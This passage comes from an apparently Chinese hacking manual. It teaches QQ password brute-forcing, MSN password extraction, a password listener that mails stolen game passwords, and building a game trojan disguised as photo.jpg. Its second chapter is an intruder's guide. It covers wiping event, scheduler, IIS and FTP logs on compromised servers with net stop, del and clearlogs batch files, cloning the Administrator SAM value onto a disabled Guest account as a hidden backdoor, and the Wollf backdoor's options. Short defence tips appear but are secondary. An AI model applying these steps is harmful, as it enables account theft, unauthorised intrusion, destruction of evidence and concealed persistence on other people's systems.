步骤2：单击【第2步（测试）】按钮，即可启动QQ并使用先前设置的QQ号码和登录密码进行登录。若登录成功，则表示通过测试；若不能成功登录，则需要重新设置QQ号码和登录密码。通过测试后，单击【第3步（保存）】按钮，将设置结果保存下来。

步骤3：单击【第4步（绑定）】按钮，指定QQ程序的安装路径并进行绑定。在QQ密码防盗专家界面中单击【无敌外挂】按钮，选取“启用QQ密码保护之无敌模式”复选框，并在“输入QQ密码”文本框中输入绑定的假QQ号码，如图9-19所示。单击“QQ无敌登录”按钮，即可使用假QQ号码进行登录。

图　9-19　使用无敌模式

还可以在“无敌外挂”界面中使用自动申请QQ号码功能来为自己申请免费的QQ号码。

第83招　用“QQ破密使者”盗取QQ

QQ破密使者是一个本地破解QQ密码的黑客工具，用户可选择字典暴力破解本地QQ密码，速度极快，并可自己设定延迟时间。

1.本地破解QQ破密使者

使用“QQ破密使者”本地破解QQ密码的操作其实很简单，具体的操作步骤如下。

步骤1：下载并解压缩“QQ破密使者”压缩包，即可看到"QQPW_Crack"安装程序里面还有一个“破解字典”文件夹，这是破解QQ密码所要用到的字典文件，里面有4个字典文件，高明的黑客还会自己制作一个字典文件或使用其他字典文件，如图9-20所示。

图　9-20　“QQ破密使者”解压后的文件夹

步骤2：双击"QQPW_Crack"应用程序图标，即可打开"QQPW_Crack"主窗口，如图9-21所示。

图　9-21　"QQPW_Crack"主窗口

步骤3：配置“QQ路径”选项，则单击栏目右侧的【浏览】按钮，在其中找到QQ的主程序；在“QQ号码”下拉列表框中选择任意一个。设置“字典路径”选项，只需单击栏目右侧的【浏览】按钮，在其中找到字典文件所在位置，如：C:\Windows\桌面\新建文件夹\QQ破密使者\破解字典\dictionary1.txt，如图9-22所示。

图　9-22　填写QQ各项

步骤4：在设置好字典文件后，还可设置延迟时间（这里设置为5），单击【开始破解】按钮，即可开始进行密码破解。该软件会用字典文件中的密码，尝试破解过程，如图9-23所示。

图　9-23　开始密码破解

注意　破解速度跟计算机配置情况有关，在破解过程中通常不能打开别的应用程序，否则要影响破解速度。一些黑客可能使用这种方法在网吧盗取别人的QQ号，因此一定要引起高度重视。

2.防范QQ破密使者

对于这类本地盗取QQ号码的方式，可以在下线时使用新版本QQ的“清除记录”功能，来清除自己上网的历史记录，以QQ2009为例，如图9-24所示。单击“账号”右侧的下拉三角按钮，从中选择QQ号码并单击，即可弹出【删除账号】对话框，在其中根据需要勾选“从列表中删除此账号”复选项或“删除此账号的所有记录文件”复选项，如图9-25所示。

图　9-24　单击“清除记录”按钮

图　9-25　“清除记录”对话框

第84招　在线破解QQ号码

QQ在即时通信领域中占有举足轻重的地位，因此，QQ的安全一直是大家最头疼的问题，稍有不慎，用户的QQ就拱手让人了，即使随时都注意了QQ的安全，但对于QQ在线破解却也是防不胜防了。

1.在线破解QQ号码

QQExplorer是一款比较常用的在线破解QQ密码的工具，功能强大，设置简便，可以从网上下载该软件，使用它在线破解QQ的具体操作步骤如下。

步骤1：下载并解压"QQExplorer"压缩包，双击"QQExplorer"应用程序图标，即可打开"QQExplorer"主界面，如图9-26所示。

图　9-26　"QQExplorer"主界面

步骤2：在“QQ起始号码”和“QQ结束号码”文本框中填写盗取的QQ号码（此号码必须在线），在“添加或删除HTTP代理服务器”栏目中输入代理服务器的IP地址和端口号码（如果嫌寻找QQ代理服务器列表麻烦，则可使用一些现成的QQ代理公布软件）。

步骤3：单击【添加＆测试】按钮自动检测此服务器是否正常，确定后把它加入代理服务器列表（可填入多个代理服务器的地址，且自动筛选不可用或速度慢的服务器）。如图9-27所示。

图　9-27　填写设置信息

步骤4：单击【开始】按钮，即可开始在线密码破解，如图9-28所示。还可以设置为“开机自动运行”且设置呼出热键，默认设置为"Shift+Ctrl+F1"组合键（一定要记好这个热键，否则开机自动运行该热键后，将无法打开程序运行界面）。

图　9-28　开始在线密码破解

2.QQExplorer在线破解及防范

在线破解改变了本地破解那种被动的破解方式，只要是在线的QQ号码都可以破解，适用范围较广，因此一定要当心。由于它仍然采用穷举法技术，所以在枚举密钥位数长度以及类型时，校验时间很长，破解效率不高。

这种方法还受到计算机速度、网速等诸多因素的影响，比本地破解更慢、更麻烦。因此，对于这种破解方式，设置足够复杂密码是一个非常有效地预防手段。

第85招　疯狂盗号的“QQ机器人”

QQ安全一直是大家非常关注的问题，很多朋友认为自己在家上网或者在单位独自使用一台计算机，黑客应该没有下手的机会，因此，很多朋友常常在论坛上暴露自己的QQ号码，而一点也没有感觉到这其中的危险之处。

1.用“QQ机器人”盗取曝光

“QQ机器人”是一款可同时解密多个用户号码的QQ在线解密工具，如果用户QQ密码不小心丢失了，也可采用该软件来找回密码，但这个工具到了黑客手中就成了盗取QQ的帮凶。使用“QQ机器人”的具体操作步骤如下。

步骤1：在对“QQ机器人”进行下载并解压之后，双击其中的qqping文件，即可打开“QQ机器人”主窗口（有点类似于QQ登录窗口），如图9-29所示。

图　9-29　“QQ机器人”主窗口

步骤2：在开始校验之前，需要单击【设置参数】按钮，在【设置参数】对话框中对参数进行设置（其中的密码可以设置为“阿拉伯数字”、“英文字母”、“特殊符号”三类），如图9-30所示。

图　9-30　【设置参数】对话框

步骤3：此外，在“设置路径位置”选项下还可以设置字典文件的路径。若想了解QQ密码设置方面的一些情况，则不妨双击QQ机器人存储文件夹下的“QQ密码类型分析文件.txt”来进行查看，如图9-31所示。

图　9-31　QQ密码类型分析文件

步骤4：在设置完成之后，只需在“用户号码”栏中输入要在线破解的QQ号码，单击【开始校验】按钮，即可启用QQ机器人逐一检验QQ密码，直到通过服务器的验证为止，如图9-32所示。

图　9-32　密码破解中

由于在线破解的速度比较慢，通常还需再对该软件进行一些设置，以加快QQ破解速度。

1）运用键盘编码：是指在逐个检验密码时，使用键盘编码类的字符来做口令。

2）使用字典工具：表示使用指定的字典工具里面的文件作为口令，这类字典工具很多，具体在【设置参数】选项中进行设定，一款好的工具字典对于密码破解是非常重要的。

3）搜索所有用户：用于设置QQ的安装路径，选择后立即在“用户号码”栏中显示用这台机器登录过的QQ号码。

2.防范QQ机器人

在线破解速度与机器配置情况和设置的字典文件有着很大关系，如果设置的是一些比较简单的密码，可能几秒钟就将自己的QQ拱手送人了。因此，要防范“QQ机器人”盗号，一定要设置一些涉及到特殊符号、运算符号等复杂的密码才可以。

第86招　QQ登录号码修改专家

QQ登录号码修改专家是一款查看聊天记录的软件，可以任意删除、增加QQ登录框的号码，删除聊天记录，保护个人隐私，还有聊天消息备份的功能。

1.正常查看聊天记录

在介绍使用QQ登录号码修改专家查看聊天记录之前，先来了解一下运用QQ自身消息管理器来实现聊天记录的正常查看方法。具体的操作步骤如下。

步骤1：在成功登录的QQ界面后，单击界面左下角的主菜单图标，选择【工具】→【消息管理器】菜单项，即可打开【消息管理器】窗口，如图9-33所示。

图　9-33　【消息管理器】窗口

步骤2：单击左侧树状结构中选择一个好友，与这位好友的聊天记录就会在右侧显示出来了，如图9-34所示。

图　9-34　聊天记录显示

步骤3：用户如果希望将自己与好友的聊天记录以文本文件形式保存起来，只用在【消息管理器】窗口中单击工具条上的【导入和导出】按钮，再在下拉菜单中选择“导出消息记录”选项，即可打开【另存为】对话框，如图9-35所示。在其中输入文件名之后，单击【保存】按钮，即可将其进行保存。

图　9-35　【另存为】对话框

步骤4：只要每次在网吧聊天结束后，就可以把自己的聊天记录存为文本文件（保存文本文件类型扩展名为.txt）发送到自己的E-mail信箱中，再把网吧计算机中的聊天记录删除掉，别人就无法看到自己的聊天记录了。

步骤5：如果要删除与好友的聊天记录，只用选中此好友并单击按钮，即可弹出一个信息提示框，如图9-36所示。单击【是】按钮，就可以将自己的聊天记录删除了。

图　9-36　删除信息提示框

2.导出及导入备份文件

导出和删除聊天记录虽然可起到保护自己聊天记录效果，但如果每次聊天之后都要操作这些步骤，不仅麻烦而且保存的文件也会起来越多，越来越不好管理。因此，最好把聊天记录保存成备份文件，再把这个备份文件导入自己的计算机，就可以有效地进行管理了。

具体的操作步骤如下。

步骤1：如果要导入消息记录，则在【消息管理器】窗口中单击工具栏上的【导入和导出】按钮，在下拉菜单中选择【导入消息记录】选项，即可弹出【选择数据导入内容】对话框，在其中选择要导入的内容（这里选择要导入的内容为“消息记录”），如图9-37所示。

图　9-37　选择导入内容

步骤2：单击【下一步】按钮，即可打开【选择导入消息记录方式】对话框，可根据需要从中选择一种导入消息记录方式（如选择“从指定文件导入”选项），如图9-38所示。

图　9-38　【选择数据导入内容】对话框

步骤3：也可以通过单击【浏览】按钮，即可弹出【打开】对话框，在其中选择需要导入的消息记录，如图9-39所示。

图　9-39　【选择导入消息记录方式】对话框

步骤4：单击【导入】按钮，即可打开【导入成功】对话框，在其中把备份文件导入到自己的QQ中。单击【完成】按钮，即可完成整个导入操作，如图9-40所示。

图　9-40　【导入成功】对话框

3.利用“QQ登录号码修改专家”查看聊天记录

现在来看一下如何使用“QQ登录号码修改专家”偷看聊天记录，具体的操作步骤如下。

步骤1：将下载的“QQ登录号码修改专家”压缩包进行解压后的zj文件之后，将其复制到QQ的安装目录下，如图9-41所示。

图　9-41　复制文件

步骤2：双击zj文件，即可打开【QQ登录号码修改专家】对话框，如图9-42所示。

图　9-42　【QQ登录号码修改专家】对话框

注意　使用“QQ登录号码修改专家”工具只能进行本地登录，且在服务器上不能通过验证，目的只是查看别人的聊天记录及好友信息。

步骤3：在其中如果添加号码，只用在“添加号码”文本框中输入要添加的号码，如图9-43所示。单击【添加】按钮，即可实现添加操作，如图9-44所示。

图　9-43　输入添加的号码

图　9-44　添加结果显示

步骤4：在【QQ登录号码修改专家】对话框中只需选择想要查看的QQ号码，单击【修改密码】按钮，即可弹出如图9-45所示的提示信息框。

图　9-45　修改密码提示框

步骤5：单击【OK】按钮，即可弹出还原密码的提示框，如图9-46所示。单击【确定】按钮，即可把本地验证密码修改为000000。此时就可以使用修改过的万能密码（即000000）脱机登录这个QQ了，如图9-47所示。

图　9-46　记住还原密码提示框

图　9-47　使用万能密码登录

步骤6：用户如果要恢复修改过的密码，只用在【QQ登录号码修改专家】对话框中选择修改密码的QQ号码，单击【密码还原】按钮，即可弹出如图9-48所示的提示框。单击【OK】按钮，即可完成密码的还原操作。

图　9-48　还原密码

步骤7：在输入万能密码并单击【登录】按钮，将弹出一个【服务器拒绝错误】对话框。此时仍然单击【OK】按钮，即可弹出【请再次输入登录密码】对话框。单击【取消】按钮之后，就可以打开本地的QQ了。

当然，在任务栏处将显示QQ的离线状态，就可以按照“正常查看QQ聊天记录”方法查看在这台计算机上登录过的所有QQ信息及其聊天记录。由此可见，QQ的聊天记录是非常不安全的，必须加以保护才行。

第87招　MSN密码查看帮凶MessenPass

MessenPass是一款即时通信软件密码的恢复工具，可探测出MSN Messenger、Windows Messenger、Yahoo Messenger、AOL Instant Messenger、AOL Instant Messenger/Netscape 7、Trillian、Miranda和GAIM等各种即时通信软件的密码。MessenPass是一个单独地可执行文件，运行这个文件不需安装额外的动态链接库（DLL），但被别有用心的人使用了，就成了一个黑客工具。

1.查看MSN密码解析

该软件使用方法很简单，只需要下载完毕并将其解压缩之后，并运行其中的mspass.exe程序，即可打开其主操作窗，如果本地计算机中运行了MSN Messenger程序，就可以很清楚地在MessenPass的窗口中查看到MSN Messenger的用户名和密码，如图9-49所示。

图　9-49　客户端运行窗口

此外，Messen Pass还能够探测出这些各种即时通信软件的密码：Yahoo Messenger、QQ等，所以使用这些IM软件聊天的朋友，一定要提高警惕。

2.防范MessenPass

MessenPass只能够探测出Windows当前用户的即时通信软件密码，对本机其他用户和远程用户不起作用。要防范这类攻击必须设置多个Windows用户，而且对自己使用的账户要设置复杂密码，最好是看好自己的机器，不给那些肆意的黑客留下“行凶”机会。

第88招　联众密码也需小心

“联众世界”是国内比较热门的游戏网站之一，也是不少菜鸟的乐园。但也有不少不怀好意的用户在其中捣乱，下面具体介绍联众密码是如何被泄露和找回的。

1.当心“联众密码监听器”的监听

“联众密码监听器”是专门用于监听联众游戏的密码，包括网页的密码和联众世界客户端软件的登录密码，将监听到的密码发送到指定的邮箱。具体的操作步骤如下。

步骤1：在对“联众密码监听器”进行下载并解压之后，双击其中的"ourgamepsw.exe"文件，即可打开【密码监听器】主窗口，如图9-50所示。

图　9-50　“联众密码监听器”主窗口

步骤2：在“监听到密码后发到如下邮箱”文本框中输入邮箱地址，并单击【应用】按钮，等监听到密码时将会自动发送到该邮箱。

步骤3：在“启动及运行参数”选项中勾选“系统启动时自动启动”和“启动时隐藏界面”复选框，为操作方便还可以设置热键，从而在显示和隐藏界面之间进行切换。在设置好之后，单击【应用】按钮就可以监听密码了。

2.找回丢失的联众密码

在网吧玩联众游戏时，联众的账号被盗，无法再进入联众世界了，如何才能将密码找回呢？具体的操作步骤如下。

步骤1：打开联众世界的主页，如图9-51所示。在主页上单击“查询密码”超级链接，即可进入“游戏账号注册”页面，如图9-52所示。

图　9-51　“联众世界”主页

图　9-52　“游戏账户注册”页面

步骤2：在该页面中输入申请时填写的用户名和电子信箱，就可以得到密码。

第89招　防范“传奇密码邮差”

传奇密码邮差是一个木马程序，能够准确截取传奇的相关信息，包括登录区域、用户名、密码、服务器及游戏角色的等级、职业、性别、昵称、装备等，且不容易被杀毒软件所查杀。

目前，盗取传奇账号的方法主要有如下两种：

1）键盘记录。这是早期的密码盗取方式，一般是使用一些木马软件。在运行了这些软件的机器上登录传奇后，用户的密码就会通过邮件发送给对方。这类软件依赖于使用键盘输入账号密码，因此只要使用软键盘输入即可有效地防范。

2）木马远程盗取。这类软件与早期的键盘记录最大区别就在于不完全依赖于键盘。即使你使用软键盘输入或者使用“复制/粘贴”都能有效地截取到你的密码。

这类软件有传奇黑眼睛、传奇叛逆、传奇密码使者、传奇猎手和传奇终结者等，但是很多软件都能被木马克星、密码防盗专家和绿鹰PC精灵等查杀。这些软件常常会不定期推出新的变种。如果在家里上网，基本不去网吧，那么黑客在机器上安装这些键盘记录程序的可能性就很小。现在很多黑客还使用“传奇密码邮差”来兴风作浪。

1.警惕“传奇密码邮差”

由于“传奇密码邮差”能够躲开现在很多安全工具的查杀并顺利地进驻用户的电脑系统，再盗取传奇账号。下面来了解一下黑客是如何盗取传奇密码的，以便有针对性地对其防范。

（1）配置传奇密码邮差

下载该软件后将文件解压，运行Setup.exe文件即可打开“传奇密码邮差”木马生成窗口。这里共有三项需要设置，在“信箱”内输入用于接收盗取的密码信息的邮箱；在“标题”中输入邮件的标题；正式版本还需要输入“注册码”。

在输入完毕后点击【生成文件】按钮，即可打开【保存生成的文件】窗口，在其中输入文件名。这是一个EXE格式的文件，通常黑客会将这个文件名改成一些软件名或者其他具有迷惑性的名字。在输入文件名后单击【打开】按钮，软件提示文件已经保存成功，单击【OK】按钮完成木马的配置。

（2）伪装发送木马

生成的木马文件只有29.5KB，这样黑客很容易将该木马与其他文件捆绑或者制作成网页木马。只要运行了这个可执行文件就会中招！当然如果黑客直接发送EXE文件给别人，稍微有点安全常识的人都不会接收。

这里介绍黑客伪装的一种方法：图片欺骗法。在为生成的木马命名时，黑客通常会命名为photo.jpg，粗一看是一个图像文件，实际上这只是一个文件名，而真正的文件格式（.exe）在Windows默认状态是不显示的，所以很多人都会接收，等到点击时发现什么也没有，黑客则会说是发错了，而你实际上此时已经运行了这个盗号木马。

此外，黑客为防止一些稍微高明的用户发现文件图标不对，常常使用一些图标修改工具来对图标进行修改，让人防不胜防。因为即使是改成了photo.jgp这个文件名，实际上还是EXE文件，精明用户一眼就能看出它与系统默认图片格式的图标不同，因此不会运行。

2.拒绝传奇盗号

要防止游戏账号被盗，必须做好自身的安全配置和对外防御两方面的工作。只有内外加固，才能做到滴水不漏。

1）防止传奇木马首先要在电脑里装能够定期升级的常用杀毒软件，如瑞星2009、木马克星等，也要经常使用专杀木马工具进行检查。

2）有些木马运行后会强制关闭杀毒软件防火墙和木马克星、绿鹰PC万能精灵等专杀木马工具。这时候就要用系统进程检查工具。比较好用的是超级兔子，因为它并不是专杀木马的工具，所以木马都不会强制关闭它，如果你的电脑上已经运行不了木马克星和绿鹰精灵了，也就是双击这些软件没有反应时，那就需要运行它来检查系统进程，看看有没有可疑的进程。

运行这个软件后，里面有一项是自动运行，点开它，在出现的窗口中，左边是进程管理，也即目前正在运行的进程；右边是自动运行，也就是每次开机时自动运行的进程。由于木马运行后都会在系统中留下进程，也会随电脑自动运行，而这时在超级兔子里的系统进程和随机自动运行的进程都一目了然了，所以也就很好查杀了。找出可疑进程，终止进程就可以了。

下面是常见传奇木马的一些进程：

传奇黑眼睛：C:\windows\taskmon32.exe，自动运行进程：taskmon32。

传奇叛逆：C:\windows\system\internet.exe，自动运行进程：intel。

传奇终结者：C:\windows\scanrew.exe，自动运行进程：scanrew。

传奇密码使者：C:\windows\system\cleanmgl.exe和C:\windows\system\sticpl.exe，自动运行进程：Microsoft。

传奇猎手：C:\windows\system\winsys.exe，自动运行进程：Winsys。

传奇幽灵：C:\windows\internet.exe，自动运行进程：internet。

传奇天使：C:\windows\kiss.exe，自动运行进程：kiss。

3）不要轻易接收别人发来的文件或者打开邮件中的附件，彻底堵住木马的入口。

第10章
日志与后门清除技术

重点提示

♂清除登录服务器的日志信息

♂给自己的入侵留下后门

♂日志分析利器WebTrends

♂IIS日志清理工具

♂APACHE日志清理工具

♂巧妙清除日志文件

本章精粹：

本章主要讲述了日志与后门清除技术。其中包括：清除登录服务器的日志信息、给自己的入侵留下后门、IIS日志清除工具等内容，有助于读者及时发现黑客入侵后留下的蛛丝马迹，揪出蓄意破坏用户系统的幕后黑手。

黑客在利用各种手段入侵到目标计算机后，为了长期入侵该计算机，同时也为下次进入系统时更方便些，往往会留下隐藏后门，再清除日志来隐藏自己的踪迹。

第90招　清除登录服务器的日志信息

当注射完一台服务器成功拿到系统权限后，由于注射过程中产生了很多日志文件，这时就需要清除整个日志文件。因为不清除日志文件会留下了很多入侵的痕迹。

1.手工清除服务器日志

在入侵过程中，远程主机的Windows系统会对入侵者的登录、注销、连接、甚至拷贝文件等操作进行记录，并把这些记录保留在日志中。在日志文件中记录着入侵者登录时所用的账号以及入侵者的IP地址等信息。入侵者通过多种途径来擦除留下的痕迹，往往是在远程被控主机的【控制面板】窗口中打开事件记录窗口，在其中对服务器日志进行手工清除。

具体的操作步骤如下。

步骤1：入侵者先用IPC$连接之后，在远程主机的【控制面板】窗口中双击【管理工具】图标，即可打开【管理工具】窗口。双击其中的【计算机管理】图标，即可打开【计算机管理】窗口。

步骤2：展开【计算机管理（本地）】→【系统工具】→【事件查看器】选项，打开事件记录窗格，其中的事件日志分为3类：“应用程序”日志、“安全性”日志及“系统”日志，如图10-1所示。这3类日志分别记录不同种类的事件，右击相应的日志，在弹出的快捷菜单中选择【清除】菜单项，即可清除指定日志。

图　10-1　【计算机管理】窗口中的事件记录窗格

步骤3：如果入侵者想做得更干净一点，则可在【计算机管理】窗口的左窗格中展开【计算机管理（本地）】→【服务和应用程序】→【服务】选项，再在其右窗格中找到"Event Log"服务，并把该服务禁用，如图10-2所示。

图　10-2　禁用"Event Log"服务

在经过上述设置之后，用户只要重新启动系统，该主机/服务器就不会对任何操作进行日志记录了。

2.清除计划任务日志

计划任务日志是任务计划（Scheduler）所产生的日志文件，默认存放在Windows系统所在的文件夹中，名称为Schedlgu.txt（Windows2000系统）或Schedlog.txt（Winnt系统），如果在实施黑客入侵过程中使用了at命令，就必须要对它进行清理（反之则不用清理，不过多半需要清理，因为黑客最喜欢使用计划任务方式运行一些程序了）。

由于这个日志文件是由任务计划管理，而任务计划是以系统服务（Service）的方式运行，因此必须先将任务计划停止，才能对Schedlgu.txt（或Schedlog.txt）文件进行清理，由于很少有网管人员会查看任务计划日志（甚至不使用任务计划），因此用户可将Schedlgu.txt（或Schedlog.txt）全部删除。如何将任务计划器停止呢？当然还是用at命令。首先制作一个批处理文件Cleanat.bat，内容如下：

@echo off

Net stop"task scheduler"＞NULL

Del%Systemroot%\Schedlgu. txt＞NULL

先将这个批处理文件复制到目标服务器的C:\中，用at命令设置两分钟后运行它，再删除Cleanat.bat（避免网管人员看到引起怀疑），为避免有残留的Schedlgu.txt（或Schedlog.txt），还需要最后删除一次。

3.清除WWW和FTP日志

在入侵到对方的服务器之后，IIS将会详细地记录下入侵者入侵的全部过程。一个优秀的系统管理员可通过IIS查找到入侵者的足迹，因此，入侵者一定要清除所记录下来的日志。在Windows 2000系统及其后续版本中，WWW日志一般都存放在%winsystem%\system32\logfiles\w3svc1文件夹中，包括WWW日志和FTP日志。

（1）清除WWW日志

IIS中WWW日志默认存储位置是%winsystem%\system32\logfiles\w3svc1\，每天产生一个新日志。如果管理员对其存放路径进行了修改，则可以运用iis.msc对其进行查看，再通过查看网站的属性来查找到其存放位置，此时可在MS-DOS命令提示符窗口中用"del*.*"命令来清除日志文件。

这个方法如果删除不掉当天的日志，则是因为w3svc服务还在开着，可用"net stop w3vsc"命令把这个服务停止后，再用"del*.*"命令清除当天日志。另外，也可用记事本把日志文件打开，删除其内容后再进行保存也可清除日志。最后记得用"net start w3svc"命令再打开w3svc服务。删除日志前要先停止相应的服务（其命令是“net stop服务名称”），再进行删除即可（日志删除后务必要记得再打开相应的服务）。也可修改目标计算机中的日志文件，其中WWW日志文件存放在w3svc1文件夹下，FTP日志文件存放在msftpsvc文件夹下，每个日志都是以exXXXXXX.log为命名的（其中xxxxxx代表日期）。

（2）清除FTP日志

FTP日志的默认存储位置为“%winsystem%\system32\logfiles\msftp svc1\（FTP日志一定不要漏掉不删）”，其清除方法和清除WWW日志的方法差不多，只是所要停止的服务不同。清除FTP日志的具体方法如下。

步骤1：运行"net stop mstfpsvc"命令，即可停掉msftpsvc服务。

步骤2：运行"del*.*"命令或找到日志文件将其内容删除。

步骤3：运行"net start msftpsvc"命令之后，再打开msftpsvc服务即可。

4.通过工具清除日志

若想清理系统、安全与程序日志，则可利用ClearLog工具删除目标服务器的日志，由于该程序可直接进行远程清理，不需要将此程序上传到目标服务器中运行，利用它可以清理Windows的一般日志，包括系统日志（System Log）、安全日志（Security Log）与程序运行日志（Applications Log）。clearlogs的命令格式为：clearlogs[\\computername]＜-app/-sec/-sys＞。

-app=应用程序日志；

-sec=安全日志；

-sys=系统日志。

下面以清除192.168.0.12机子上的事件日志为例进行介绍，具体的操作步骤如下。

步骤1：用IPC$连接把clearlogs上传到远程计算机。在MS-DOS命令提示符窗口中输入命令"net use\\192.168.0.12\ipc$""/Susan"。

步骤2：清除远程主机上的日志。再通过"net time"命令查看远程计算机的系统时间，再用AT命令建立一个计划任务来执行clearlogs.exe文件：AT时间C:\clear.bat。

clearlogs\\192.168.0.12-app//清除远程计算机的应用程序日志

clearlogs\\192.168.0.12-sec//清除远程计算机的安全日志

clearlogs\\192.168.0.12-sys//清除远程计算机的系统日志

或者为了更安全一点，也可以建立一个批处理文件clear.bat。

@echo off

clearlogs-app

clearlogs-sec

clearlogs-sys

del clearlogs.exe

del c.bat

exit

步骤3：断开IPC$连接。使用命令"net use\\192.168.0.12\ipc$/del"，经过上述操作之后，远程主机中的日志记录就被清除了。

通过执行上述命令，即可轻松将自己入侵的日志清除干净，不必一个个去辛苦查找各项日志文件的存放位置后再清除，这个小工具会自动帮助用户完成这些繁琐的事情。但这个工具只能删除默认文件夹中的日志文件，如果目标服务器的网管将日志文件位置改到其他文件夹中，这个工具就不能清除。

第91招　给自己的入侵留下后门

后门是一种绕过安全性控制而获取对程序或系统访问权的方法，也是一种登录系统的方法，不仅能绕过系统已有的安全设置，而且还能挫败系统上各种增强的安全设置，随意进入别人的电脑并且不会被察觉。

1.手工克隆账号

账号后门是黑客在第一次入侵成功后，在远程主机内部建立的一个备用管理员账号，以便用管理员权限再次进入该系统，而这个账号在一般系统管理员看来，只拥有user组的权限。

克隆账号就是把系统中存在的某一个账号，设置为拥有系统管理员权限的账号，克隆出来的账号无法用“账号管理”查出该账号的真实权限。因此，克隆账号常被入侵者作为“后门账号”。在注册表中有两处保存了账号的SID相对标志符，一处是SAM\Domains\Account\Users下的子键名，另一处在该子键F子项的值中。然而微软登录时用的是后者，查询时用前者。因此，当用administrator子键的F项覆盖其他账号的F项之后，就造成了账号是管理员权限但查询还是原来状态的情况，即所谓的克隆账号。

提示　SID是唯一身份编号，存在于本地SAM数据库中，系统就是通过查看它来确定是不是管理员的。SAM是专门用来管理Windows系统中账号的数据库，里面存放了一个账号的所有属性，包括账号的配置文件路径、账号权限、账号密码等。只有拥有了系统权限才能对SAM进行访问。

下面以克隆“被禁用的Guest账号”为例，讲述一下具体是怎样实现远程控制的。

具体的操作步骤如下。

步骤1：在注册表编辑器中展开HKEY_LOCAL_MACHINE\SAM分支，在SAM子键下查看各个账号的内容，如图10-3所示。没有看到各个账号的内容的原因在于SAM关系到整个系统中账号的安全，在一些Windows版本中，只有拥有System权限者能够对注册表的SAM进行访问。因此，这里需要借助一个提升权限的小工具psu.exe，通过这款工具使管理员拥有System权限，进而访问注册表中的SAM。

图　10-3　注册表编辑器图

命令格式为：psu[参数选项]

-p＜要运行的文件名＞：务必写全可执行文件的路径，如需带参数，请用“”括起来；

-i＜要su到的进程号＞：该选项可选，默认su到的进程为system。

例如：

psu-p C:\winnt\notepad.exe

psu-p C:\winnt\notepad.exe-i 1234

psu-p"C:\winnt\system32\cmd.exe/K"

步骤2：在【任务管理器】窗口中找到System进程，并记下其PID（本例中获得System的PID是4），即可使用psu.exe提升管理员权限效果，如图10-4所示。

图　10-4　获取System进程的PID值

步骤3：在MS-DOS命令窗口中键入"psu-p regedit-I 4"（其中“4”是本例中获得的System进程的PID值）命令，此时以System权限打开注册表编辑器，即可看到SAM的内容，如图10-5所示。

图　10-5　注册表编辑器

步骤4：在【注册表编辑器】窗口中找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4（这一项为Administrator项）注册表项，双击右边窗口中"F"键名，并复制键值数据，如图10-6所示。

图　10-6　复制Administrator项下F值

步骤5：进入想克隆的账号名Guest主键分支，将其"F"键名的键值数据换成刚才复制Administrator的"F"键值数据，如图10-7所示。此时关闭注册表编辑器，即可实现对账号的克隆。

图　10-7　把Guest项的F值替换为Administrator项下的F值

步骤6：禁用账号。在入侵者成功将Guest账号克隆成Administrator账号的权限之后，为了使后门账号更加隐蔽，还需将该Guest账号禁用，即通过“被禁用的Guest账号”实现远程控制。可通过在命令行方式下键入"net user guest/active:no"命令来实现禁用Guest账号。

步骤7：检测一下能否被管理员看出破绽。在MS-DOS命令窗口中键入"net user guest"命令，即可查看Guest账号的属性，从返回结果可以看出，该Guest账号已被禁用，而且仅仅属于“Guest组”，如图10-8所示。

图　10-8　MS-DOS下查看Guest账号属性

步骤8：也可以打开【计算机管理】窗口来查看Guest账号的属性，从右窗格可见，该Guest已经被系统禁用了，如图10-9所示。

图　10-9　查看Guest账号属性

如果想克隆一个管理员账号，那该账号必须是系统中存在的。假如现在克隆了管理员账号之后删除原账号，再把原F键值和V键值导回到注册表中。结果还是不能登录，因为此时原管理员账号在系统中是不存在的（想克隆的账号必须未被禁用）。

在后门账号制作成功之后，当再次使用克隆的后门账号登录时，登录的系统界面实际上就是管理员的界面。

2.程序克隆账号技术

克隆账号的方法不只是手工克隆账号一种，还可以运用程序的方法实现克隆技术，程序克隆技术就需要利用PSU.exe工具，把当前的管理员设置为System权限。在利用PSU.exe工具实现克隆之前先认识一下这个工具，其语法为：PSU[参数]。

-p：要运行的程序名；

-i：要处理的System进程号。

了解其相应功能和语法之后，就可以实现克隆操作，具体的操作步骤如下。

步骤1：在桌面环境中按"Ctrl+Alt+Del"组合键，即可打开【Windows任务管理器】窗口，查看System的进程号是4，如图10-10所示。

图　10-10　查看System的进程号

步骤2：在【运行】对话框中输入"cmd"命令，单击【确定】按钮，进入到命令提示符窗口之后，再运行"psu-p regedit-i 4"命令，即可完成权限的修改操作。

步骤3：在打开注册表编辑器之后，即可对SAM信息进行编辑，编辑后利用复制粘贴键值信息的方法实现克隆操作。在CMD命令窗口中运行"net user guest 000000"命令，即可为这个Guest账号添加密码，以保护计算机不被其他黑客所用，如图10-11所示。

图　10-11　修改账号密码

步骤4：在CMD命令窗口中运行"net user guest/active：no"命令，即可禁用Guest账号，如图10-12所示。右击“我的电脑”图标，从快捷菜单中选择“管理”选项，即可打开【计算机管理】窗口，可以看到Guest账号已经被禁用，如图10-13所示。这样，就可以让这个后门账号更加隐蔽，虽然管理员在查看时看到此账号被禁用，但利用这个被禁用的账号仍然可以进入系统。

图　10-12　执行命令

图　10-13　禁用Guest账号

步骤5：在CMD命令窗口中运行"net user guest"命令，即可查看Guest账号的属性，如图10-14所示。从Guest账号的属性中可以看到该Guest账号确实已经被禁用，并且仅仅属于“Guests组”。在其中运行"net localgroup administrators"命令，即可查看管理员组的成员，从中可以看出Guest账号并不属于本机管理员组，如图10-15所示。

图　10-14　验证后门账号是否启用

图　10-15　验证后门账号是否属于管理员组

步骤6：再次打开【计算机管理】窗口中可以查看到Guest账号已经被禁用，双击禁用的Guest账号，即可打开【Guest属性】对话框，如图10-16所示。在“隶属于”选项卡中可以看出Guest账号属于“Guests组”，并不能看出此账号存在问题，由此证明账号后门非常隐蔽，如图10-17所示。

图　10-16　【Guest属性】对话框

图　10-17　“隶属于”选项卡

3.用Wollf留下木马后门

Wollf是一款非常经典的后门程序，简直就是一个小型网络操作系统。它有专用命令、扩展Telnet服务、集成文件传输、FTP服务器、键盘记录、Sniffer（只对Windows 2000/XP系统有效）、端口转发等功能，可实现反向连接，通过参数设置来实现后门程序随系统启动或只作为普通进程运行。

（1）命令格式：wollf[参数选项]

-install：安装wollf服务，默认参数；

-remove：停止并清除wollf服务；

-update：升级wollf服务；

-debug：调试wollf服务，用于安装失败后查看出错信息；

-once：作为普通进程运行，重启后不自动加载；

-connect[host][port]：连接到远程wollf服务，主要用于连接后传输文件；

